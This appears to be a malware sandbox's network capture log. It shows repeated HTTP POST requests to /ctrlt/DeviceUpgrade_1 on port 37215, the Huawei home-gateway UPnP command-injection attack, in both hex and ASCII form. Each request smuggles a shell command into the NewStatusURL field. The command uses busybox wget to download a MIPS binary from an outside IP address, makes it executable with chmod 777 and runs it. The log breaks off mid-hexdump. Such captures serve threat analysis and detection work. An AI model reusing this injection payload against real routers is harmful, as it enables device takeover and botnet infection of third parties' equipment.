Nov 19, 2023 09:16:43.720755100 CET	1674	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.176578999 CET	2509	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	56916	156.254.95.66	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:35.841274023 CET	1477	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:39.877325058 CET	1566	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:46.020507097 CET	1729	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:58.050858021 CET	2070	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.367551088 CET	2713	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	156.254.95.66	37215	192.168.2.23	56916

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:35.841274023 CET	1477	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:39.877325058 CET	1566	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:46.020507097 CET	1729	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 